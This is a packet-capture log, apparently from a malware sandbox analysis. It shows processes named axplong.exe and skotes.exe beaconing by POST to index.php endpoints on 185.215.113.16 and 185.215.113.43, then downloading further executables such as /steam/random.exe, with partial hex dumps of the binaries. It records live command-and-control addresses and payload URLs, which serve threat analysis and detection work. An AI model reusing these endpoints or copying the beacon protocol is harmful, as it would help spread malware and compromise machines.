17	192.168.2.7	50003	185.215.113.16	80	3960	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:37:04.253817081 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 20:37:05.163144112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 20:37:05.201488018 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 46 41 31 34 31 43 41 46 44 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFFA141CAFDFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Oct 29, 2024 20:37:05.493499994 CET	758	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 37 0d 0a 20 3c 63 3e 31 30 30 31 31 37 32 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 31 64 66 34 39 66 61 31 61 36 30 36 30 34 65 61 63 39 30 34 33 61 62 63 64 63 35 35 62 32 34 35 39 64 36 62 64 31 61 65 61 35 65 35 36 63 66 64 65 39 65 65 62 32 34 39 36 33 65 33 65 31 36 38 36 37 36 31 39 30 32 66 63 31 30 32 38 61 65 65 33 39 65 61 63 66 66 61 61 66 34 32 63 64 66 65 62 38 36 63 63 64 35 62 65 37 65 37 34 36 34 39 31 62 32 34 36 63 38 39 65 64 34 36 36 61 63 30 64 35 66 34 31 36 36 61 64 64 31 34 35 30 30 65 33 36 33 36 65 66 36 36 39 62 64 32 64 35 32 38 35 37 34 66 36 30 38 34 30 63 39 37 62 31 66 62 38 33 66 39 37 32 61 31 36 63 63 38 38 35 33 37 32 32 62 38 39 30 62 33 36 66 63 30 39 38 39 65 30 33 61 39 39 30 65 62 31 33 33 30 30 65 36 37 62 64 31 38 34 31 61 33 36 66 64 30 66 65 62 32 32 62 34 34 33 30 61 34 34 63 34 30 62 63 35 61 37 33 37 39 35 33 32 32 65 31 33 35 38 34 31 63 65 39 64 35 32 31 30 31 62 65 65 64 35 38 39 31 30 65 65 32 38 64 32 35 39 66 62 36 35 66 38 62 66 36 66 33 [TRUNCATED] Data Ascii: 237 <c>1001172001+++aa0ed3651df49fa1a60604eac9043abcdc55b2459d6bd1aea5e56cfde9eeb24963e3e1686761902fc1028aee39eacffaaf42cdfeb86ccd5be7e746491b246c89ed466ac0d5f4166add14500e3636ef669bd2d528574f60840c97b1fb83f972a16cc8853722b890b36fc0989e03a990eb13300e67bd1841a36fd0feb22b4430a44c40bc5a73795322e135841ce9d52101beed58910ee28d259fb65f8bf6f389db62b82a09907bfe600e1a6087087213bd459ba957765a#1001195001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0bebeed22f1b2e8b2446fe1e928766ada#1001196001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0a1bfe522b3effbbd4e64e3aa636b77#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50005	185.215.113.16	80	3960	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:37:06.683391094 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 31 31 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1001172001&unit=246122658369
Oct 29, 2024 20:37:07.602869034 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 29, 2024 20:37:07.604844093 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 20:37:07.888551950 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:07 GMT Content-Type: application/octet-stream Content-Length: 2127360 Last-Modified: Tue, 29 Oct 2024 18:58:35 GMT Connection: keep-alive ETag: "6721305b-207600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 7b 45 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@r{E!@P.d. p.v@.rsrc .@.idata .@ *.@iuotgomaX@ujumrvwnrP @.taggant0r"T @
Oct 29, 2024 20:37:07.888572931 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:37:07.888601065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:37:07.888621092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:37:07.888627052 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:37:07.888633013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:37:07.888638973 CET	1236	IN	Data Raw: d8 8f 3e ce f8 58 06 b5 68 16 37 a5 bf 52 3c 32 a5 bf bc 40 44 57 b3 89 7f 67 ff 13 68 48 36 32 60 0b 99 01 68 e3 3e 3e 60 0b d3 ef 67 e3 3e 4a 60 0c 0d de 67 c4 b4 35 34 8f 7c 36 48 4a 34 8e f2 68 5c 73 bc 0c 49 e4 2f f1 3d 33 52 3b 73 43 0e 5b Data Ascii: >Xh7R<2@DWghH62`h>>`g>J`g54\|6HJ4h\sI/=3R;sC[1Yc2W;,9/H}4I-n7V<sE!vPD$f6@O1Y`G5&cVvIKckoH>[?hWbnHgg>o>cRFRXhV^)x`E<=P[
Oct 29, 2024 20:37:07.888644934 CET	424	IN	Data Raw: 4a 55 26 59 a6 00 2b 36 7c 3e 5b 17 5a dd 92 32 55 b5 9f e8 17 56 a7 87 e6 80 df 0e e1 ec 8a 93 d4 e7 35 bb dc b9 89 6a ff 4e df 08 0c 4a 8d 21 33 e3 39 32 6e 43 d9 3e dc 6e ec 53 e7 95 05 c4 f8 45 ce 41 01 8f e3 0c 8e de 68 25 ea 24 a2 a0 95 70 Data Ascii: JU&Y+6\|>[Z2UV5jNJ!392nC>nSEAh%$p8~rz q0<'F>GY:'tT,)[?$hdoL8u=hT'M6.W//>cF! X_<-^Q5/\|J}k?vm%O:'z)v@)o7&J&"%
Oct 29, 2024 20:37:07.888652086 CET	1236	IN	Data Raw: 9a cf 22 92 58 4f 86 56 f6 83 2f d3 f0 0f bf 71 de af 6e 6e ed 9b a2 6d 68 5c 62 96 1f 68 7e 63 96 6a 99 b6 38 c9 29 8e 54 58 aa 2e 36 d5 6e 76 ed 4c b6 7a 55 60 be 2e 1d d5 60 1e dd 5b 86 ce 18 07 41 56 0c 1b 8d b0 15 d2 f6 68 ed 33 30 3d f0 83 Data Ascii: "XOV/qnnmh\bh~cj8)TX.6nvLzU`.`[AVh30=s8==/$T>X`FHf/V!qv78O6#'?XRl7J`?GQ/hh8#CWK?`?f0\_i.E$c7CbkRF.b*Er?hGsrhdp?]?`?X
Oct 29, 2024 20:37:07.888658047 CET	1236	IN	Data Raw: f4 60 60 16 f8 19 aa 62 42 e2 ce a8 fe 6e 36 7e 68 00 38 ea 00 b7 ea 33 04 e8 37 6a dc e7 ac 20 42 f8 bb ba 2c 60 3f 8a e5 ce e7 4a 1a 5b 0b 69 ed cf 2f 94 f1 3c 8c 78 38 e7 2f de dc 9c ac 83 88 29 a9 f6 ed 57 fe ae 10 36 d1 88 19 37 ad 3f dc 72 Data Ascii: ``bBn6~h837j B,`?J[i/<x8/)W67?rIIN`e0sR>?/kW?/7;:X67Iz6QesG>R]`?Hrw?AhiL`.rj6k#R``pVgR`/6WP?\6a2h8VOKD`"
Oct 29, 2024 20:37:07.888674974 CET	424	IN	Data Raw: 43 03 28 8a 0e 6b 26 3f 9d 2c 5f 8d 6a 4b 59 74 dc f8 2f d6 e0 10 8f 3f 4b 57 60 3f f8 58 b5 42 80 8b 88 3a 76 0a 23 3f 24 69 9c 5f 78 50 3f 33 9a cb 37 9a f6 ac 57 fe 3e 79 9e a6 58 60 ae 48 20 80 3a 5c 90 6f be 3f 16 ef 41 59 6b f3 80 a4 84 cb Data Ascii: C(k&?,_jKYt/?KW`?XB:v#?$i_xP?37W>yX`H :\o?AYk7aWBFI8A)W}N`/mTHN7o3h7qSJ.h7X/qHyEX`H&N]ub`jZZp`Q.K`.\NkF7QL`j?/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50006	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:37:08.143934011 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 34 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002448001&unit=246122658369
Oct 29, 2024 20:37:09.064488888 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50007	185.215.113.16	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:37:09.077136993 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 20:37:09.992680073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:09 GMT Content-Type: application/octet-stream Content-Length: 2127360 Last-Modified: Tue, 29 Oct 2024 18:58:35 GMT Connection: keep-alive ETag: "6721305b-207600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 7b 45 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@r{E!@P.d. p.v@.rsrc .@.idata .@ *.@iuotgomaX@ujumrvwnrP @.taggant0r"T @
Oct 29, 2024 20:37:09.992721081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:37:09.992774010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:37:09.992831945 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:37:09.992885113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:37:09.992919922 CET	1236	IN	Data Raw: d8 8f 3e ce f8 58 06 b5 68 16 37 a5 bf 52 3c 32 a5 bf bc 40 44 57 b3 89 7f 67 ff 13 68 48 36 32 60 0b 99 01 68 e3 3e 3e 60 0b d3 ef 67 e3 3e 4a 60 0c 0d de 67 c4 b4 35 34 8f 7c 36 48 4a 34 8e f2 68 5c 73 bc 0c 49 e4 2f f1 3d 33 52 3b 73 43 0e 5b Data Ascii: >Xh7R<2@DWghH62`h>>`g>J`g54\|6HJ4h\sI/=3R;sC[1Yc2W;,9/H}4I-n7V<sE!vPD$f6@O1Y`G5&cVvIKckoH>[?hWbnHgg>o>cRFRXhV^)x`E<=P[
Oct 29, 2024 20:37:09.992955923 CET	1236	IN	Data Raw: 4a 55 26 59 a6 00 2b 36 7c 3e 5b 17 5a dd 92 32 55 b5 9f e8 17 56 a7 87 e6 80 df 0e e1 ec 8a 93 d4 e7 35 bb dc b9 89 6a ff 4e df 08 0c 4a 8d 21 33 e3 39 32 6e 43 d9 3e dc 6e ec 53 e7 95 05 c4 f8 45 ce 41 01 8f e3 0c 8e de 68 25 ea 24 a2 a0 95 70 Data Ascii: JU&Y+6\|>[Z2UV5jNJ!392nC>nSEAh%$p8~rz q0<'F>GY:'tT,)[?$hdoL8u=hT'M6.W//>cF! X_<-^Q5/\|J}k?vm%O:'z)v@)o7&J&"%
Oct 29, 2024 20:37:09.993006945 CET	1236	IN	Data Raw: 86 c9 0e 69 ed 43 30 c7 f0 83 61 91 e5 4f 43 60 e8 0b a7 b4 21 93 5d b0 f4 60 2e 5e 5c b6 02 43 6c 22 6f c7 ed a3 26 7c 62 90 aa cf 70 af 37 68 4c 6a 5b af 5c b5 b9 65 91 4f 37 ba 18 6b 8f 4e 44 6a 31 4e 74 60 60 d6 f7 52 b3 72 83 d1 de 3f e4 13 Data Ascii: iC0aOC`!]`.^\Cl"o&\|bp7hLj[\eO7kNDj1Nt``Rr?a?XB =iDK~7 .Lc&?{+{Eo?OBFxg7h@jtd7Fe.eiR9@q/Cc7EwOE9bN?/n/Wc*@'8&X6A
Oct 29, 2024 20:37:09.993041039 CET	1236	IN	Data Raw: 6c 63 6e 7b 41 92 e4 37 44 4f 9d b4 26 b3 37 47 4c 57 9e ae 3a 29 47 95 ed cf 26 b6 58 8e 6b 38 44 b3 50 01 6d cb 37 c6 fb df 02 23 f7 bb 60 ca d6 60 3e 5b f8 62 90 1a 6e 79 53 2f d6 60 20 5e c0 b4 c4 d5 24 ef 37 d6 58 6a 07 36 dd 2b 89 bf e1 ff Data Ascii: lcn{A7DO&7GLW:)G&Xk8DPm7#``>[bnyS/` ^$7Xj6+e?0F6#?i_h>}>?E"?i_O 7XMU`.'@@$~X7@f`f7cnj,i&_`7X4'UG:WLXk%7XUH`996*sN``
Oct 29, 2024 20:37:09.993076086 CET	1236	IN	Data Raw: 9f c7 84 b2 f6 4f 62 9b e4 d0 94 72 ed 7f bc d7 39 5f 26 3f 00 8b 7b 97 48 b4 2a 66 58 89 72 9f 62 99 a2 58 45 cb 60 a2 f7 72 b4 06 c8 98 46 b6 ed 89 ba 49 e6 db d6 71 f8 4a a9 46 ed 89 ca 37 cd 4b a7 1e 06 8c ce 68 ed ff 2f 06 f1 fb 61 93 f5 07 Data Ascii: Obr9_&?{H*fXrbXE`rFIqJF7Kh/a/\`=#'bqOcicHi~l'7/XNmZ@mOf\|kg8XOCP~gI6BHN8]F"-(;6@;6?W._:`\"Bp7@ XRo?s
Oct 29, 2024 20:37:09.999418020 CET	1236	IN	Data Raw: 43 3b 4d 10 61 96 46 5e f6 5f 89 a7 59 df 37 69 46 3a 6e 7f c4 e2 7a d2 60 14 3f f9 37 50 4b c8 74 52 60 be f8 64 b6 77 d7 87 24 35 8b 94 80 be 6a 9c ae 6f 54 33 31 ee f5 d0 a3 96 06 68 46 e3 da f0 9c 1e 12 5f 42 a3 7f 50 92 32 d6 02 83 24 e6 07 Data Ascii: C;MaF^_Y7iF:nz`?7PKtR`dw$5joT31hF_BP2$t*_S5\F@B=ci\|8y} yAN@o#7oX<X?:-z0c.3~ffG#Albwbw/O>im

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50011	185.215.113.16	80	3960	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:37:14.697523117 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001195001&unit=246122658369
Oct 29, 2024 20:37:15.591857910 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 29, 2024 20:37:15.594615936 CET	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 29 Oct 2024 18:58:21 GMT If-None-Match: "6721304d-2cb800"
Oct 29, 2024 20:37:15.879384041 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:15 GMT Last-Modified: Tue, 29 Oct 2024 18:58:21 GMT Connection: keep-alive ETag: "6721304d-2cb800"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50012	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:37:14.708935976 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 32 34 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1002449001&unit=246122658369
Oct 29, 2024 20:37:15.625900030 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50013	185.215.113.16	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:37:15.640702963 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 20:37:16.555496931 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:16 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Tue, 29 Oct 2024 18:26:15 GMT Connection: keep-alive ETag: "672128c7-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 be 28 21 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL(!g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 29, 2024 20:37:16.555529118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 29, 2024 20:37:16.555542946 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 29, 2024 20:37:16.555576086 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 29, 2024 20:37:16.555592060 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
